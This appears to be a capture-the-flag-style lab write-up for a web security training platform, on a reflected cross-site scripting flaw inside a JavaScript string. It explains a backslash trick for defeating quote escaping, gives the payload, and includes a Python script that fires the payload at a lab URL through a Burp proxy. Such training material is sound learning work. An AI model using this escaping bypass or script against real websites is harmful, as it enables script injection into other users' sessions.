XSS Lab 19 • Shubham Ranpise

Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped#

This lab demonstrates a reflected cross-site scripting vulnerability where input is placed inside a JavaScript string. Angle brackets (< >) and double quotes (") are HTML-encoded, while single quotes (') are escaped with a backslash. By carefully injecting a payload that breaks out of the string using a backslash, an attacker can execute arbitrary JavaScript. The goal is to trigger an alert(1) and solve the lab.

How Exploit Works#

The search term is reflected inside a JavaScript string.
Single quotes are escaped (\'), preventing a simple injection.
By injecting a backslash before the quote, you escape the escaping mechanism.
Payload:
```
\'-alert(1)//
```
js
This payload breaks out of the string, allowing the execution of alert(1).

Usage#

python3 exploit.py https://<your-lab-id>.web-security-academy.net

cmd

Exploit#

exploit.py

import requests
import sys
import urllib3

# Disable SSL warnings for Burp Suite
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Set Burp Suite proxy
proxies = {
    'http': 'http://127.0.0.1:8080',
    'https': 'http://127.0.0.1:8080'
}

def check_burp():
    # Check if Burp Suite is running and listening on the configured proxy.

    try:
        requests.get("http://127.0.0.1:8080", timeout=3)
    except requests.exceptions.RequestException:
        print("[-] Burp Suite is not running. Please start it and try again.")
        sys.exit(1)

def exploit_xss(url, payload):
    # Exploit XSS in search parameter.
        uri = f"/?search={payload}"
        res = requests.get(url + uri, verify=False, proxies=proxies)
        res.raise_for_status()
        session = requests.Session()
        res = session.get(url, verify=False, proxies=proxies)
        if "Congratulations" in res.text:
            print("[+] Lab solved 🎉")
            return True
        else:
            print("[-] lab not solved.")

def main():
    # Entry point of the script.

    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <url>")
        print(f"Example: python {sys.argv[0]} https://example.com")
        sys.exit(1)

    url = sys.argv[1].strip()

    # Step 1: Check Burp Suite
    check_burp()

    # Step 2: Define XSS payload
    payload = "\\'-alert(1)//"

    # Step 3: Attempt exploitation
    print("[*] Attempting XSS...")
    if exploit_xss(url, payload):
        print("[+] XSS successful!")
    else:
        print("[-] XSS unsuccessful.")

if __name__ == "__main__":
    main()

python